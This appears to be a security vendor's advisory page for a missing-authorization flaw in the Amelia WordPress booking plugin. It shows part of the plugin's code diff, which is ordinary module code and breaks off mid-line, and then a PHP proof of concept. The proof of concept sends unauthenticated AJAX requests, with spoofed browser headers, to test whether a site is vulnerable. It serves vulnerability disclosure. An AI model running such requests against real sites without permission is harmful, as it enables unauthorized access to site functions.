+            $event = $attrs['events']['innerContent']['desktop']['value'] ?? [];
+            if ($event && count($event) > 0) {
+                $shortcode .= ' event=' . implode(',', $event);
+            }
+
+            $tag = $attrs['tags']['innerContent']['desktop']['value'] ?? [];
+            if ($tag && count($tag) > 0) {
+                $shortcode .= ' tag="' . implode(',', array_map(function ($t) {
+                    return '{' . $t . '}';
+                }, $tag)) . '"';
+            }
+
+            $recurring = $attrs['recurring']['innerContent']['desktop']['value'] ?? false;
+            if ($recurring === 'on') {
+                $shortcode .= ' recurring=1';
+            }
+
+            $locations = $attrs['locations']['innerContent']['desktop']['value'] ?? [];
+            if ($locations && count($locations) > 0) {
+                $shortcode .= ' location=' . implode(',', $locations);
+            }
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsListModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsListModule.php
@@ -0,0 +1,88 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Events List" module output in frontend.
+ */
+class AmeliaEventsListModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaEventsListModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/EventsList';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaEventsListModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliaeventslistbooking';
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $trigger_type = $attrs['trigger_type']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger && $trigger_type !== null && $trigger_type !== '') {
+            $shortcode .= ' trigger_type=' . $trigger_type;
+        }
+
+        $in_dialog = $attrs['in_dialog']['innerContent']['desktop']['value'] ?? false;
+        if ($trigger && $in_dialog === 'on') {
+            $shortcode .= ' in_dialog=1';
+        }
+
+        // Preselect/filter parameters
+        $booking_params = $attrs['booking_params']['innerContent']['desktop']['value'] ?? false;
+        if ($booking_params === 'on') {
+            $event = $attrs['events']['innerContent']['desktop']['value'] ?? [];
+            if ($event && count($event) > 0) {
+                $shortcode .= ' event=' . implode(',', $event);
+            }
+
+            $tag = $attrs['tags']['innerContent']['desktop']['value'] ?? [];
+            if ($tag && count($tag) > 0) {
+                $shortcode .= ' tag="' . implode(',', array_map(function ($t) {
+                    return '{' . $t . '}';
+                }, $tag)) . '"';
+            }
+
+            $recurring = $attrs['recurring']['innerContent']['desktop']['value'] ?? false;
+            if ($recurring === 'on') {
+                $shortcode .= ' recurring=1';
+            }
+
+            $locations = $attrs['locations']['innerContent']['desktop']['value'] ?? [];
+            if ($locations && count($locations) > 0) {
+                $shortcode .= ' location=' . implode(',', $locations);
+            }
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsModule.php
@@ -0,0 +1,77 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Events" (legacy) module output in frontend.
+ */
+class AmeliaEventsModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaEventsModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/Events';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaEventsModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliaevents';
+
+        $type = $attrs['type']['innerContent']['desktop']['value'] ?? null;
+        if ($type !== null && $type !== '') {
+            $shortcode .= ' type=' . $type;
+        } else {
+            $shortcode .= ' type=list';
+        }
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $bookingParams = $attrs['booking_params']['innerContent']['desktop']['value'] ?? 'off';
+        if ($bookingParams === 'on') {
+            $event = $attrs['events']['innerContent']['desktop']['value'] ?? '0';
+            if ($event !== '0') {
+                $shortcode .= ' event=' . $event;
+            }
+
+            $tag = $attrs['tags']['innerContent']['desktop']['value'] ?? '0';
+            if ($tag !== null && $tag !== '' && $tag !== '0') {
+                $shortcode .= ' tag="' . esc_attr($tag) . '"';
+            }
+
+            $recurring = $attrs['recurring']['innerContent']['desktop']['value'] ?? 'off';
+            if ($recurring === 'on') {
+                $shortcode .= ' recurring=1';
+            }
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaSearchModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaSearchModule.php
@@ -0,0 +1,61 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Search" module output in frontend.
+ */
+class AmeliaSearchModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaSearchModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/Search';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaSearchModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliasearch';
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        $bookingParams = $attrs['booking_params']['innerContent']['desktop']['value'] ?? 'off';
+        if ($bookingParams === 'on') {
+            $showAll = $attrs['type']['innerContent']['desktop']['value'] ?? '0';
+            if ($showAll !== null && $showAll !== '' && $showAll !== '0') {
+                $shortcode .= ' show=' . $showAll;
+            }
+            $shortcode .= ' today=1';
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaStepBookingModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaStepBookingModule.php
@@ -0,0 +1,99 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+
+/**
+ * Class that handle "Amelia Step Booking" module output in frontend.
+ */
+class AmeliaStepBookingModule implements DependencyInterface
+{
+    /**
+     * Register module.
+     * DependencyInterface interface ensures class method name `load()` is executed for initialization.
+     */
+    public function load()
+    {
+        // Register module.
+        add_action('init', [AmeliaStepBookingModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        // Path to module metadata that is shared between Frontend and Visual Builder.
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/StepBooking';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaStepBookingModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback($attrs, $content, $block, $elements)
+    {
+        $shortcode = '[ameliastepbooking';
+
+        $show_all = $attrs['type']['innerContent']['desktop']['value'] ?? null;
+        if ($show_all !== null && $show_all !== '0') {
+            $shortcode .= ' show=' . $show_all;
+        }
+
+        $trigger = $attrs['trigger']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger !== null && $trigger !== '') {
+            $shortcode .= ' trigger=' . esc_attr($trigger);
+        }
+
+        // Layout
+        $layout = $attrs['layout']['innerContent']['desktop']['value'] ?? null;
+        if ($layout !== null && $layout !== '') {
+            $shortcode .= ' layout=' . $layout;
+        }
+
+        // Trigger Type
+        $trigger_type = $attrs['trigger_type']['innerContent']['desktop']['value'] ?? null;
+        if ($trigger && $trigger_type !== null && $trigger_type !== '') {
+            $shortcode .= ' trigger_type=' . $trigger_type;
+        }
+
+        // In Dialog
+        $in_dialog = $attrs['in_dialog']['innerContent']['desktop']['value'] ?? false;
+        if ($in_dialog === 'on') {
+            $shortcode .= ' in_dialog=1';
+        }
+
+        $preselect = $attrs['parameters']['innerContent']['desktop']['value'] ?? false;
+        if ($preselect === 'on') {
+            $category = $attrs['categories']['innerContent']['desktop']['value'] ?? [];
+            $service  = $attrs['services']['innerContent']['desktop']['value'] ?? [];
+            $employee = $attrs['employees']['innerContent']['desktop']['value'] ?? [];
+            $location = $attrs['locations']['innerContent']['desktop']['value'] ?? [];
+            $package  = $attrs['packages']['innerContent']['desktop']['value'] ?? [];
+
+            if ($service && count($service) > 0) {
+                $shortcode .= ' service=' . implode(',', $service);
+            } elseif ($category && count($category) > 0) {
+                $shortcode .= ' category=' . implode(',', $category);
+            }
+            if ($employee && count($employee) > 0) {
+                $shortcode .= ' employee=' . implode(',', $employee);
+            }
+            if ($location && count($location) > 0) {
+                $shortcode .= ' location=' . implode(',', $location);
+            }
+            if ($package && count($package) > 0) {
+                $shortcode .= ' package=' . implode(',', $package);
+            }
+        }
+
+        $shortcode .= ']';
+
+        return do_shortcode($shortcode);
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/index.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/index.php
@@ -0,0 +1,212 @@
+<?php
+
+/**
+ * Divi 5 Amelia Modules Bootstrap
+ *
+ * This file loads and registers all Divi 5 Amelia modules.
+ * phpcs:disable PSR1.Files.SideEffects
+ */
+
+namespace Divi5Amelia;
+
+use AmeliaBookingInfrastructureLicenceLicence;
+
+if (!defined('ABSPATH')) {
+    die('Direct access forbidden.');
+}
+
+// Check if Divi 5 is active before loading modules
+function is_divi_5_active()
+{
+    $theme = wp_get_theme();
+    $is_divi_theme = 'Divi' === $theme->name || 'Divi' === $theme->parent_theme;
+
+    return $is_divi_theme;
+}
+
+/**
+ * Custom value expansion function for converting comma-separated strings to arrays
+ * Used during Divi 4 to Divi 5 conversion for multi-select fields
+ */
+function ameliaConvertParams($value, $context = [])
+{
+    if (is_string($value) && $value !== '') {
+        $items = array_map('trim', explode(',', $value));
+        return array_filter($items, function ($item) {
+            return $item !== '';
+        });
+    }
+
+    if (is_array($value)) {
+        return $value;
+    }
+
+    return [];
+}
+
+/**
+ * Convert Divi 4 yes_no_button values to Divi 5 toggle string values
+ * Keep as 'on'/'off' strings since that's what Divi Toggle component expects
+ */
+function ameliaConvertToggle($value, $context = [])
+{
+    // Handle empty/null/undefined - default to 'on' (Divi 4 defaults were 'on')
+    if ($value === null || $value === '') {
+        return 'on';
+    }
+
+    // Already correct string format
+    if ($value === 'on' || $value === '1' || $value === 1 || $value === true || $value === 'true') {
+        return 'on';
+    }
+
+    if ($value === 'off' || $value === '0' || $value === 0 || $value === false || $value === 'false') {
+        return 'off';
+    }
+
+    // Default to 'on' for Customer Panel (matches D4 behavior)
+    return 'on';
+}
+
+/**
+ * Convert catalog items (categories/services/packages) and automatically set catalog_view
+ *
+ * @param mixed $value The value to convert (comma-separated string or array)
+ * @param array $context Context information including field name and attributes
+ * @return array Converted array of items
+ */
+function ameliaConvertCatalogItems($value, $context = [])
+{
+    $result = ameliaConvertParams($value, $context);
+
+    // If items were selected, also update the catalog_view based on field name
+    if (!empty($result) && isset($context['attrs']) && isset($context['fieldName'])) {
+        // Determine catalog view type from field name
+        $catalogViewMap = [
+            'categories' => 'category',
+            'services' => 'service',
+            'packages' => 'package',
+        ];
+
+        $fieldName = $context['fieldName'];
+        if (isset($catalogViewMap[$fieldName])) {
+            if (!isset($context['attrs']['catalog_view'])) {
+                $context['attrs']['catalog_view'] = [];
+            }
+            $context['attrs']['catalog_view']['innerContent'] = [
+                'desktop' => ['value' => $catalogViewMap[$fieldName]]
+            ];
+        }
+    }
+
+    return $result;
+}
+
+/**
+ * Register custom value expansion functions for Divi conversion system
+ */
+add_filter('divi.moduleLibrary.conversion.valueExpansionFunctionMap', function ($functionMap) {
+    $functionMap['ameliaConvertParams'] = 'Divi5AmeliaameliaConvertParams';
+    $functionMap['ameliaConvertToggle'] = 'Divi5AmeliaameliaConvertToggle';
+    $functionMap['ameliaConvertCatalogItems'] = 'Divi5AmeliaameliaConvertCatalogItems';
+
+    return $functionMap;
+});
+
+if (is_divi_5_active()) {
+    // Load Divi dependency interface before loading modules
+    $divi_dependency_interface = get_template_directory() . '/includes/builder-5/server/Framework/DependencyManagement/Interfaces/DependencyInterface.php';
+
+    if (!file_exists($divi_dependency_interface)) {
+        return;
+    }
+
+    require_once $divi_dependency_interface;
+
+    require_once __DIR__ . '/AmeliaStepBookingModule.php';
+    require_once __DIR__ . '/AmeliaBookingModule.php';
+    require_once __DIR__ . '/AmeliaCatalogBookingModule.php';
+    require_once __DIR__ . '/AmeliaCatalogModule.php';
+    require_once __DIR__ . '/AmeliaEventsListModule.php';
+    require_once __DIR__ . '/AmeliaEventsModule.php';
+    require_once __DIR__ . '/AmeliaSearchModule.php';
+
+    if (Licence::$premium) {
+        require_once __DIR__ . '/AmeliaEventsCalendarModule.php';
+        require_once __DIR__ . '/AmeliaCustomerPanelModule.php';
+        require_once __DIR__ . '/AmeliaEmployeePanelModule.php';
+    }
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaStepBookingModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaBookingModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaCatalogBookingModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaCatalogModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaEventsListModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaEventsModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaSearchModule());
+        }
+    );
+
+    // Register premium modules only if license is premium
+    if (Licence::$premium) {
+        add_action(
+            'divi_module_library_modules_dependency_tree',
+            function ($dependency_tree) {
+                $dependency_tree->add_dependency(new AmeliaEventsCalendarModule());
+            }
+        );
+
+        add_action(
+            'divi_module_library_modules_dependency_tree',
+            function ($dependency_tree) {
+                $dependency_tree->add_dependency(new AmeliaCustomerPanelModule());
+            }
+        );
+
+        add_action(
+            'divi_module_library_modules_dependency_tree',
+            function ($dependency_tree) {
+                $dependency_tree->add_dependency(new AmeliaEmployeePanelModule());
+            }
+        );
+    }
+}
--- a/ameliabooking/extensions/divi_amelia/includes/loader.php
+++ b/ameliabooking/extensions/divi_amelia/includes/loader.php
@@ -6,9 +6,19 @@

 $module_files = glob(__DIR__ . '/modules/*/*.php');

-// Load custom Divi Builder modules
+$hidden_modules = ['Search', 'Events', 'Booking', 'Catalog'];
+
+// Check if we're in Divi builder context (admin or visual builder)
+$is_builder = is_admin()
+    || isset($_GET['et_fb'])
+    || (function_exists('et_core_is_fb_enabled') && et_core_is_fb_enabled());
+
 foreach ((array) $module_files as $module_file) {
-    if ($module_file && preg_match("//modules/b([^/]+)/\1.php$/", $module_file)) {
+    if ($module_file && preg_match("//modules/b([^/]+)/\1.php$/", $module_file, $matches)) {
+        // Skip hidden modules in builder, but load them on frontend for existing pages
+        if (in_array($matches[1], $hidden_modules) && $is_builder) {
+            continue;
+        }
         require_once $module_file;
     }
 }
--- a/ameliabooking/extensions/divi_amelia/includes/modules/Booking/Booking.php
+++ b/ameliabooking/extensions/divi_amelia/includes/modules/Booking/Booking.php
@@ -26,11 +26,11 @@

     public function init()
     {
-        $this->name = esc_html__(BackendStrings::getWordPressStrings()['booking_divi'], 'divi-divi_amelia');
+        $this->name = esc_html__(BackendStrings::get('booking_divi'), 'divi-divi_amelia');

-        $this->type['0']        = BackendStrings::getWordPressStrings()['show_all'];
-        $this->type['services'] = BackendStrings::getCommonStrings()['services'];
-        $this->type['packages'] = BackendStrings::getCommonStrings()['packages'];
+        $this->type['0']        = BackendStrings::get('show_all');
+        $this->type['services'] = BackendStrings::get('services');
+        $this->type['packages'] = BackendStrings::get('packages');

         if (!is_admin()) {
             return;
@@ -39,21 +39,21 @@
         $data = GutenbergBlock::getEntitiesData()['data'];
         $this->showPackages = !empty($data['packages']);

-        $this->categories['0'] = BackendStrings::getWordPressStrings()['show_all_categories'];
+        $this->categories['0'] = BackendStrings::get('show_all_categories');
         foreach ($data['categories'] as $category) {
             $this->categories[$category['id']] = $category['name']. ' (id: ' . $category['id'] . ')';
         }
-        $this->services['0'] = BackendStrings::getWordPressStrings()['show_all_services'];
+        $this->services['0'] = BackendStrings::get('show_all_services');
         foreach ($data['servicesList'] as $service) {
             if ($service) {
                 $this->services[$service['id']] = $service['name']. ' (id: ' . $service['id'] . ')';
             }
         }
-        $this->employees['0'] = BackendStrings::getWordPressStrings()['show_all_employees'];
+        $this->employees['0'] = BackendStrings::get('show_all_employees');
         foreach ($data['employees'] as $employee) {
             $this->employees[$employee['id']] = $employee['firstName'] . ' ' . $employee['lastName'] . ' (id: ' . $employee['id'] . ')';
         }
-        $this->locations['0'] = BackendStrings::getWordPressStrings()['show_all_locations'];
+        $this->locations['0'] = BackendStrings::get('show_all_locations');
         foreach ($data['locations'] as $location) {
             $this->locations[$location['id']] = $location['name']. ' (id: ' . $location['id'] . ')';
         }
@@ -76,17 +76,17 @@
     {
         $array = array(
             'booking_params' => array(
-                'label'           => esc_html__(BackendStrings::getWordPressStrings()['filter'], 'divi-divi_amelia'),
+                'label'           => esc_html__(BackendStrings::get('filter'), 'divi-divi_amelia'),
                 'type'            => 'yes_no_button',
                 'options' => array(
-                    'on'  => esc_html__(BackendStrings::getCommonStrings()['yes'], 'divi-divi_amelia'),
-                    'off' => esc_html__(BackendStrings::getCommonStrings()['no'], 'divi-divi_amelia'),
+                    'on'  => esc_html__(BackendStrings::get('yes'), 'divi-divi_amelia'),
+                    'off' => esc_html__(BackendStrings::get('no'), 'divi-divi_amelia'),
                 ),
                 'toggle_slug'     => 'main_content',
                 'option_category' => 'basic_option',
             ),
             'categories' => array(
-                'label'           => esc_html__(BackendStrings::getWordPressStrings()['select_category'], 'divi-divi_amelia'),
+                'label'           => esc_html__(BackendStrings::get('select_category'), 'divi-divi_amelia'),
                 'type'            => 'select',
                 'options'         => $this->categories,
                 'toggle_slug'     => 'main_content',
@@ -96,7 +96,7 @@
                 ),
             ),
             'services' => array(
-                'label'           => esc_html__(BackendStrings::getWordPressStrings()['select_service'], 'divi-divi_amelia'),
+                'label'           => esc_html__(BackendStrings::get('select_service'), 'divi-divi_amelia'),
                 'type'            => 'select',
                 'toggle_slug'     => 'main_content',
                 'options'         => $this->services,
@@ -106,7 +106,7 @@
                 ),
             ),
             'employees' => array(
-                'label'           => esc_html__(BackendStrings::getWordPressStrings()['select_employee'], 'divi-divi_amelia'),
+                'label'           => esc_html__(BackendStrings::get('select_employee'), 'divi-divi_amelia'),
                 'type'            => 'select',
                 'options'         => $this->employees,
                 'toggle_slug'     => 'main_content',
@@ -116,7 +116,7 @@
                 ),
             ),
             'locations' => array(
-                'label'           => esc_html__(BackendStrings::getWordPressStrings()['select_location'], 'divi-divi_amelia'),
+                'label'           => esc_html__(BackendStrings::get('select_location'), 'divi-divi_amelia'),
                 'type'            => 'select',
                 'options'         => $this->locations,
                 'toggle_slug'     => 'main_content',
@@ -129,7 +129,7 @@

         if ($this->showPackages) {
             $array['type'] = array(
-                'label'           => esc_html__(BackendStrings::getWordPressStrings()['show_all'], 'divi-divi_amelia'),
+                'label'           => esc_html__(BackendStrings::get('show_all'), 'divi-divi_amelia'),
                 'type'            => 'select',
                 'options'         => $this->type,
                 'toggle_slug'     => 'main_content',
@@ -140,11 +140,11 @@
         }

         $array['trigger'] = array(
-            'label'           => esc_html__(BackendStrings::getWordPressStrings()['manually_loading'], 'divi-divi_amelia'),
+            'label'           => esc_html__(BackendStr

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24967 - Amelia <= 1.2.38 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-24967
 * Amelia WordPress Plugin Missing Authorization Vulnerability
 * 
 * This script demonstrates how unauthenticated attackers can exploit
 * the missing authorization vulnerability in Amelia plugin <= 1.2.38
 */

// Configuration
$target_url = "http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php";

// Target AJAX action (one of the vulnerable endpoints)
$ajax_action = "amelia_remove_wpdt_promo_notice";

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'action' => $ajax_action,
    // Additional parameters may be required depending on the specific action
    // The vulnerability exists because no authentication is verified
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate WordPress AJAX request
$headers = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: application/json, text/javascript, */*; q=0.01',
    'Accept-Language: en-US,en;q=0.5',
    'Accept-Encoding: gzip, deflate',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With: XMLHttpRequest',
    'Referer: ' . str_replace('/wp-admin/admin-ajax.php', '/', $target_url),
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status Code: $http_coden";
    echo "Response: $responsen";
    
    // Analyze response
    if ($http_code == 200 && !empty($response)) {
        echo "n[+] VULNERABLE: Unauthenticated request succeededn";
        echo "   The plugin executed the '$ajax_action' action without authorization.n";
    } elseif ($http_code == 403 || strpos($response, 'nonce') !== false) {
        echo "n[-] PATCHED: Request blocked or requires authenticationn";
    } else {
        echo "n[?] UNKNOWN: Could not determine vulnerability statusn";
    }
}

// Clean up
curl_close($ch);

// Additional exploitation examples for other vulnerable actions
// Uncomment to test other endpoints:
/*
$other_actions = [
    'amelia_some_other_action',
    'amelia_admin_action',
    // Add other Amelia AJAX actions that may be vulnerable
];

foreach ($other_actions as $action) {
    // Similar cURL request with different action parameter
    // This demonstrates the pattern for exploiting multiple endpoints
}
*/

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School